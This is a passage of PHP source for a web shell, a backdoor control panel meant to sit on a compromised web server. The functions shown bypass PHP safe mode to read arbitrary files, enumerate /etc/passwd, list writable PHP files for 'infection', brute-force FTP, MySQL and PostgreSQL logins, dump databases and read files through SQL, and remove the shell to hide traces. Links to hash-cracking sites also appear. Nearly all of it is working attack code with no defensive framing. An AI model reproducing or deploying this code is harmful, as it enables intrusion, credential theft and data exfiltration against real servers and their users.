  1548.                 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1549.                         <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1550.                         <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1551.                         <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1552.                         <tr><td></td><td><input type='submit' value='submit'></td></tr>
  1553.                         </table></form>";
  1554.         function hardRecursiveGlob($path) {
  1555.                 if(substr($path, -1) != '/')
  1556.                         $path.='/';
  1557.                 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1558.                 if(is_array($paths)&&@count($paths)) {
  1559.                         foreach($paths as $dokl) {
  1560.                                 if(@is_dir($dokl)){
  1561.                                         if($path!=$dokl)
  1562.                                                 hardRecursiveGlob($dokl);
  1563.                                 } else {
  1564.                                         if(empty($_POST['p2']) || @strpos(file_get_contents($dokl), $_POST['p2'])!==false)
  1565.                                                 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($dokl)."\", \"view\",\"\")'>".htmlspecialchars($dokl)."</a><br>";
  1566.                                 }
  1567.                         }
  1568.                 }
  1569.         }
  1570.         if(@$_POST['p3'])
  1571.                 hardRecursiveGlob($_POST['c']);
  1572.         echo "</div><br><h1>Search for hash:</h1><div class=content>
  1573.                 <form method='post' target='_blank' name='hf'>
  1574.                         <input type='text' name='hash' style='width:200px;'><br>
  1575.             <input type='hidden' name='act' value='find'/>
  1576.                         <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  1577.                         <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1578.             <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
  1579.                         <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1580.                         <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
  1581.                         <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
  1582.                         <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1583.                 </form></div>";
  1584.         hardFooter();
  1585. }
  1586. function actionDeliverytest() {
  1587.     header("Location: ?email");
  1588. exit();
  1589.  
  1590. }
  1591. function actionSafeMode() {
  1592.         $temp='';
  1593.         ob_start();
  1594.         switch($_POST['p1']) {
  1595.                 case 1:
  1596.                         $temp=@tempnam($test, 'cx');
  1597.                         if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1598.                                 echo @file_get_contents($temp);
  1599.                                 unlink($temp);
  1600.                         } else
  1601.                                 echo 'Sorry... Can\'t open file';
  1602.                         break;
  1603.                 case 2:
  1604.                         $files = glob($_POST['p2'].'*');
  1605.                         if( is_array($files) )
  1606.                                 foreach ($files as $filename)
  1607.                                         echo $filename."\n";
  1608.                         break;
  1609.                 case 3:
  1610.                         $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1611.                         curl_exec($ch);
  1612.                         break;
  1613.                 case 4:
  1614.                         ini_restore("safe_mode");
  1615.                         ini_restore("open_basedir");
  1616.                         include($_POST['p2']);
  1617.                         break;
  1618.                 case 5:
  1619.                         for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1620.                                 $uid = @posix_getpwuid($_POST['p2']);
  1621.                                 if ($uid)
  1622.                                         echo join(':',$uid)."\n";
  1623.                         }
  1624.                         break;
  1625.                 case 6:
  1626.                         if(!function_exists('imap_open'))break;
  1627.                         $stream = imap_open($_POST['p2'], "", "");
  1628.                         if ($stream == FALSE)
  1629.                                 break;
  1630.                         echo imap_body($stream, 1);
  1631.                         imap_close($stream);
  1632.                         break;
  1633.         }
  1634.         $temp = ob_get_clean();
  1635.         hardHeader();
  1636.         echo '<h1>Safe mode bypass</h1><div class=content>';
  1637.         echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
  1638.         if($temp)
  1639.                 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1640.         echo '</div>';
  1641.         hardFooter();
  1642. }
  1643. function actionLogout() {
  1644.     setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1645.         die(header('Location: '.$_SERVER['PHP_SELF']));
  1646. }
  1647. function actionchangepass() {
  1648.     $s_result='';
  1649.                 if(isset($_POST['p1'])&&!empty($_POST['p1'])){
  1650.                         $newpass = isset($_POST['p2'])? trim($_POST['p2']):"";
  1651.  
  1652.  
  1653.  
  1654.  
  1655.                                 if(changepass($newpass)){
  1656.                                         $s_result = '<b style="color:#28C76F !important">Password Changed!</b>';
  1657.                                 }
  1658.                                 else {$s_result = '<b style="color:#EA5455 !important">password can\'t changed!</b>';}
  1659.  
  1660.                 }
  1661.     
  1662.     hardHeader();
  1663.         echo '<h1>Change Password</h1><br>'.$s_result.'<div class=content>';
  1664.         echo '<span>Your new password (leave empty to make the shell without password): </span><form method=post onsubmit="g(\'changepass\',null,\'submit\',this.passwordnew.value,\'\');return false;"><input class="toolsInp" type=text name=passwordnew><input name=submitnewpass type=submit value="submit"></form>';
  1665.  
  1666.         echo '</div><br>';
  1667.         hardFooter();
  1668.     
  1669.     
  1670. }
  1671. function actionSelfRemove() {
  1672.         if($_POST['p1'] == 'yes')
  1673.                 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', $_SERVER['SCRIPT_FILENAME'])))
  1674.                         die('Shell has been removed');
  1675.                 else
  1676.                         echo 'unlink error!';
  1677.     if($_POST['p1'] != 'yes')
  1678.         hardHeader();
  1679.         echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1680.         hardFooter();
  1681. }
  1682. function actionInfect() {
  1683.         hardHeader();
  1684.         echo '<h1>Infect</h1><div class=content>';
  1685.         if($_POST['p1'] == 'infect') {
  1686.                 $target=$_SERVER['DOCUMENT_ROOT'];
  1687.                         function ListFiles($dir) {
  1688.                                 if($dh = opendir($dir)) {
  1689.                                         $files = Array();
  1690.                                         $inner_files = Array();
  1691.                                         while($file = readdir($dh)) {
  1692.                                                 if($file != "." && $file != "..") {
  1693.                                                         if(is_dir($dir . "/" . $file)) {
  1694.                                                                 $inner_files = ListFiles($dir . "/" . $file);
  1695.                                                                 if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
  1696.                                                         } else {
  1697.                                                                 array_push($files, $dir . "/" . $file);
  1698.                                                         }
  1699.                                                 }
  1700.                                         }
  1701.                                         closedir($dh);
  1702.                                         return $files;
  1703.                                 }
  1704.                         }
  1705.                         foreach (ListFiles($target) as $key=>$file){
  1706.                                 $nFile = substr($file, -4, 4);
  1707.                                 if($nFile == ".php" ){
  1708.                                         if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
  1709.                                                 echo "$file<br>";
  1710.                                                 $i++;
  1711.                                         }
  1712.                                 }
  1713.                         }
  1714.                         echo "<font color=#7367F0 size=14>$i</font>";
  1715.                 }else{
  1716.                         echo "<form method=post><input type=submit value=Infect name=infet></form>";
  1717.                         echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
  1718.                 }
  1719.         hardFooter();
  1720. }
  1721. function actionBruteforce() {
  1722.         hardHeader();
  1723.         if( isset($_POST['proto']) ) {
  1724.                 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1725.                 if( $_POST['proto'] == 'ftp' ) {
  1726.                         function bruteForce($ip,$port,$login,$pass) {
  1727.                                 $fp = @ftp_connect($ip, $port?$port:21);
  1728.                                 if(!$fp) return false;
  1729.                                 $res = @ftp_login($fp, $login, $pass);
  1730.                                 @ftp_close($fp);
  1731.                                 return $res;
  1732.                         }
  1733.                 } elseif( $_POST['proto'] == 'mysql' ) {
  1734.                         function bruteForce($ip,$port,$login,$pass) {
  1735.                                 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1736.                                 @mysql_close($res);
  1737.                                 return $res;
  1738.                         }
  1739.                 } elseif( $_POST['proto'] == 'pgsql' ) {
  1740.                         function bruteForce($ip,$port,$login,$pass) {
  1741.                                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1742.                                 $res = @pg_connect($str);
  1743.                                 @pg_close($res);
  1744.                                 return $res;
  1745.                         }
  1746.                 }
  1747.                 $success = 0;
  1748.                 $attempts = 0;
  1749.                 $server = explode(":", $_POST['server']);
  1750.                 if($_POST['type'] == 1) {
  1751.                         $temp = @file('/etc/passwd');
  1752.                         if( is_array($temp) )
  1753.                                 foreach($temp as $line) {
  1754.                                         $line = explode(":", $line);
  1755.                                         ++$attempts;
  1756.                                         if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1757.                                                 $success++;
  1758.                                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1759.                                         }
  1760.                                         if(@$_POST['reverse']) {
  1761.                                                 $tmp = "";
  1762.                                                 for($i=strlen($line[0])-1; $i>=0; --$i)
  1763.                                                         $tmp .= $line[0][$i];
  1764.                                                 ++$attempts;
  1765.                                                 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1766.                                                         $success++;
  1767.                                                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1768.                                                 }
  1769.                                         }
  1770.                                 }
  1771.                 } elseif($_POST['type'] == 2) {
  1772.                         $temp = @file($_POST['dict']);
  1773.                         if( is_array($temp) )
  1774.                                 foreach($temp as $line) {
  1775.                                         $line = trim($line);
  1776.                                         ++$attempts;
  1777.                                         if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1778.                                                 $success++;
  1779.                                                 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1780.                                         }
  1781.                                 }
  1782.                 }
  1783.                 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1784.         }
  1785.         echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1786.                 .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
  1787.                 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1788.                 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1789.                 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1790.                 .'<input type=hidden name=ne  value="">'
  1791.                 .'<span>Server:port</span></td>'
  1792.                 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1793.                 .'<tr><td><span>Brute type</span></td>'
  1794.                 .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
  1795.                 .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
  1796.                 .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
  1797.                 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1798.                 .'<td><input type=text name=login value="root"></td></tr>'
  1799.                 .'<tr><td><span>Dictionary</span></td>'
  1800.                 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1801.                 .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
  1802.         echo '</div>';
  1803.         hardFooter();
  1804. }
  1805. function actionSql() {
  1806.         class DbClass {
  1807.                 var $type;
  1808.                 var $link;
  1809.                 var $res;
  1810.                 function __construct($type)     {
  1811.                         $this->type = $type;
  1812.                 }
  1813.                 function connect($host, $user, $pass, $dbname){
  1814.                         switch($this->type)     {
  1815.                                 case 'mysql':
  1816.                                         if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1817.                                         break;
  1818.                                 case 'pgsql':
  1819.                                         $host = explode(':', $host);
  1820.                                         if(!$host[1]) $host[1]=5432;
  1821.                                         if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1822.                                         break;
  1823.                         }
  1824.                         return false;
  1825.                 }
  1826.                 function selectdb($db) {
  1827.                         switch($this->type)     {
  1828.                                 case 'mysql':
  1829.                                         if (@mysql_select_db($db))return true;
  1830.                                         break;
  1831.                         }
  1832.                         return false;
  1833.                 }
  1834.                 function query($str) {
  1835.                         switch($this->type) {
  1836.                                 case 'mysql':
  1837.                                         return $this->res = @mysql_query($str);
  1838.                                         break;
  1839.                                 case 'pgsql':
  1840.                                         return $this->res = @pg_query($this->link,$str);
  1841.                                         break;
  1842.                         }
  1843.                         return false;
  1844.                 }
  1845.                 function fetch() {
  1846.                         $res = func_num_args()?func_get_arg(0):$this->res;
  1847.                         switch($this->type)     {
  1848.                                 case 'mysql':
  1849.                                         return @mysql_fetch_assoc($res);
  1850.                                         break;
  1851.                                 case 'pgsql':
  1852.                                         return @pg_fetch_assoc($res);
  1853.                                         break;
  1854.                         }
  1855.                         return false;
  1856.                 }
  1857.                 function listDbs() {
  1858.                         switch($this->type)     {
  1859.                                 case 'mysql':
  1860.                         return $this->query("SHOW databases");
  1861.                                 break;
  1862.                                 case 'pgsql':
  1863.                                         return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1864.                                 break;
  1865.                         }
  1866.                         return false;
  1867.                 }
  1868.                 function listTables() {
  1869.                         switch($this->type)     {
  1870.                                 case 'mysql':
  1871.                                         return $this->res = $this->query('SHOW TABLES');
  1872.                                 break;
  1873.                                 case 'pgsql':
  1874.                                         return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1875.                                 break;
  1876.                         }
  1877.                         return false;
  1878.                 }
  1879.                 function error() {
  1880.                         switch($this->type)     {
  1881.                                 case 'mysql':
  1882.                                         return @mysql_error();
  1883.                                 break;
  1884.                                 case 'pgsql':
  1885.                                         return @pg_last_error();
  1886.                                 break;
  1887.                         }
  1888.                         return false;
  1889.                 }
  1890.                 function setCharset($str) {
  1891.                         switch($this->type)     {
  1892.                                 case 'mysql':
  1893.                                         if(function_exists('mysql_set_charset'))
  1894.                                                 return @mysql_set_charset($str, $this->link);
  1895.                                         else
  1896.                                                 $this->query('SET CHARSET '.$str);
  1897.                                         break;
  1898.                                 case 'pgsql':
  1899.                                         return @pg_set_client_encoding($this->link, $str);
  1900.                                         break;
  1901.                         }
  1902.                         return false;
  1903.                 }
  1904.                 function loadFile($str) {
  1905.                         switch($this->type)     {
  1906.                                 case 'mysql':
  1907.                                         return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1908.                                 break;
  1909.                                 case 'pgsql':
  1910.                                         $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
  1911.                                         $r=array();
  1912.                                         while($i=$this->fetch())
  1913.                                                 $r[] = $i['file'];
  1914.                                         $this->query('drop table hard2');
  1915.                                         return array('file'=>implode("\n",$r));
  1916.                                 break;
  1917.                         }
  1918.                         return false;
  1919.                 }
  1920.                 function dump($table, $fp = false) {
  1921.                         switch($this->type)     {
  1922.                                 case 'mysql':
  1923.                                         $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1924.                                         $create = mysql_fetch_array($res);
  1925.                                         $sql = $create[1].";\n";
  1926.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1927.                                         $this->query('SELECT * FROM `'.$table.'`');
  1928.                     $i = 0;
  1929.                     $head = true;
  1930.                                         while($dokl = $this->fetch()) {
  1931.                         $sql = '';
  1932.                         if($i % 1000 == 0) {
  1933.                             $head = true;
  1934.                             $sql = ";\n\n";
  1935.                         }
  1936.                                                 $columns = array();
  1937.                                                 foreach($dokl as $k=>$v) {
  1938.                             if($v === null)
  1939.                                 $dokl[$k] = "NULL";
  1940.                             elseif(is_int($v))
  1941.                                 $dokl[$k] = $v;
  1942.                             else
  1943.                                 $dokl[$k] = "'".@mysql_real_escape_string($v)."'";
  1944.                                                         $columns[] = "`".$k."`";
  1945.                                                 }
  1946.                         if($head) {
  1947.                             $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $dokl).')';
  1948.                             $head = false;
  1949.                         } else
  1950.                             $sql .= "\n\t,(".implode(", ", $dokl).')';
  1951.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1952.                         $i++;
  1953.                                         }
  1954.                     if(!$head)
  1955.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1956.                                 break;
  1957.                                 case 'pgsql':
  1958.                                         $this->query('SELECT * FROM '.$table);
  1959.                                         while($dokl = $this->fetch()) {
  1960.                                                 $columns = array();
  1961.                                                 foreach($dokl as $k=>$v) {
  1962.                                                         $dokl[$k] = "'".addslashes($v)."'";
  1963.                                                         $columns[] = $k;
  1964.                                                 }
  1965.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $dokl).');'."\n";
  1966.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1967.                                         }
  1968.                                 break;
  1969.                         }
  1970.                         return false;
  1971.                 }
  1972.         };
  1973.         $db = new DbClass($_POST['type']);
  1974.         if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1975.                 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1976.                 $db->selectdb($_POST['sql_base']);
  1977.         switch($_POST['charset']) {
  1978.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1979.             case "UTF-8": $db->setCharset('utf8'); break;
  1980.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1981.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1982.             case "cp866": $db->setCharset('cp866'); break;
  1983.         }
  1984.         if(empty($_POST['file'])) {
  1985.             ob_start("ob_gzhandler", 4096);
  1986.             header("Content-Disposition: attachment; filename=dump.sql");
  1987.             header("Content-Type: text/plain");
  1988.             foreach($_POST['tbl'] as $v)
  1989.                                 $db->dump($v);
  1990.             exit;
  1991.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1992.             foreach($_POST['tbl'] as $v)
  1993.                 $db->dump($v, $fp);
  1994.             fclose($fp);
  1995.             unset($_POST['p2']);
  1996.         } else
  1997.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1998.         }
  1999.         hardHeader();
  2000.         echo "
  2001. <h1>Sql browser</h1><div class=content>
  2002. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  2003. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  2004. <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  2005. <td><label><select name='type'><option value='mysql' ";
  2006.     if(@$_POST['type']=='mysql')echo 'selected';
  2007. echo ">MySql</option><option value='pgsql' ";
  2008. if(@$_POST['type']=='pgsql')echo 'selected';
  2009. echo ">PostgreSql</option></select></label></td>
  2010. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  2011. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  2012. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
  2013.         $tmp = "<input type=text name=sql_base value=''>";
  2014.         if(isset($_POST['sql_host'])){
  2015.                 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  2016.                         switch($_POST['charset']) {
  2017.                                 case "Windows-1251": $db->setCharset('cp1251'); break;
  2018.                                 case "UTF-8": $db->setCharset('utf8'); break;
  2019.                                 case "KOI8-R": $db->setCharset('koi8r'); break;
  2020.                                 case "KOI8-U": $db->setCharset('koi8u'); break;
  2021.                                 case "cp866": $db->setCharset('cp866'); break;
  2022.                         }
  2023.                         $db->listDbs();
  2024.                         echo "<label><select name=sql_base><option value=''></option>";
  2025.                         while($dokl = $db->fetch()) {
  2026.                                 list($key, $value) = each($dokl);
  2027.                                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  2028.                         }
  2029.                         echo '</select></label>';
  2030.                 }
  2031.                 else echo $tmp;
  2032.         }else
  2033.                 echo $tmp;
  2034.         echo "</td>
  2035.                                 <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
  2036.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  2037.                         </tr>
  2038.                 </table>
  2039.                 <script>
  2040.             s_db='".@addslashes($_POST['sql_base'])."';
  2041.             function fs(f) {
  2042.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  2043.                     if(f.p1) f.p1.value='';
  2044.                     if(f.p2) f.p2.value='';
  2045.                     if(f.p3) f.p3.value='';
  2046.                 }
  2047.             }
  2048.                         function st(t,l) {
  2049.                                 d.sf.p1.value = 'select';
  2050.                                 d.sf.p2.value = t;
  2051.                 if(l && d.sf.p3) d.sf.p3.value = l;
  2052.                                 d.sf.submit();
  2053.                         }
  2054.                         function is() {
  2055.                                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  2056.                                         d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  2057.                         }
  2058.                 </script>";
  2059.         if(isset($db) && $db->link){
  2060.                 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  2061.                         if(!empty($_POST['sql_base'])){
  2062.                                 $db->selectdb($_POST['sql_base']);
  2063.                                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  2064.                                 $tbls_res = $db->listTables();
  2065.                                 while($dokl = $db->fetch($tbls_res)) {
  2066.                                         list($key, $value) = each($dokl);
  2067.                     if(!empty($_POST['sql_count']))
  2068.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  2069.                                         $value = htmlspecialchars($value);
  2070.                                         echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
  2071.                                 }
  2072.                                 echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  2073.                                 if(@$_POST['p1'] == 'select') {
  2074.                                         $_POST['p1'] = 'query';
  2075.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  2076.                                         $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  2077.                                         $num = $db->fetch();
  2078.                                         $pages = ceil($num['n'] / 30);
  2079.                     echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  2080.                     echo " of $pages";
  2081.                     if($_POST['p3'] > 1)
  2082.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
  2083.                     if($_POST['p3'] < $pages)
  2084.                         echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
  2085.                     $_POST['p3']--;
  2086.                                         if($_POST['type']=='pgsql')
  2087.                                                 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  2088.                                         else
  2089.                                                 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  2090.                                         echo "<br><br>";
  2091.                                 }
  2092.                                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  2093.                                         $db->query(@$_POST['p2']);
  2094.                                         if($db->res !== false) {
  2095.                                                 $title = false;
  2096.                                                 echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
  2097.                                                 $line = 1;
  2098.                                                 while($dokl = $db->fetch())     {
  2099.                                                         if(!$title)     {
  2100.                                                                 echo '<tr>';
  2101.                                                                 foreach($dokl as $key => $value)
  2102.                                                                         echo '<th>'.$key.'</th>';
  2103.                                                                 reset($dokl);
  2104.                                                                 $title=true;
  2105.                                                                 echo '</tr><tr>';
  2106.                                                                 $line = 2;
  2107.                                                         }
  2108.                                                         echo '<tr class="l'.$line.'">';
  2109.                                                         $line = $line==1?2:1;
  2110.                                                         foreach($dokl as $key => $value) {
  2111.                                                                 if($value == null)
  2112.                                                                         echo '<td><i>null</i></td>';
  2113.                                                                 else
  2114.                                                                         echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  2115.                                                         }
  2116.                                                         echo '</tr>';
  2117.                                                 }
  2118.                                                 echo '</table>';
  2119.                                         } else {
  2120.                                                 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  2121.                                         }
  2122.                                 }
  2123.                                 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  2124.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  2125.                     echo htmlspecialchars($_POST['p2']);
  2126.                 echo "</textarea><br/><input type=submit value='Execute'>";
  2127.                                 echo "</td></tr>";
  2128.                         }
  2129.                         echo "</table></form><br/>";
  2130.             if($_POST['type']=='mysql') {
  2131.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  2132.                 if($db->fetch())
  2133.                     echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
  2134.             }
  2135.                         if(@$_POST['p1'] == 'loadfile') {
  2136.                                 $file = $db->loadFile($_POST['p2']);
  2137.                                 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  2138.                         }
  2139.         } else {
  2140.         echo htmlspecialchars($db->error());
  2141.     }
  2142.         echo '</div>';
  2143.         hardFooter();
  2144. }
  2145. function actionNetwork() {
  2146.         hardHeader();
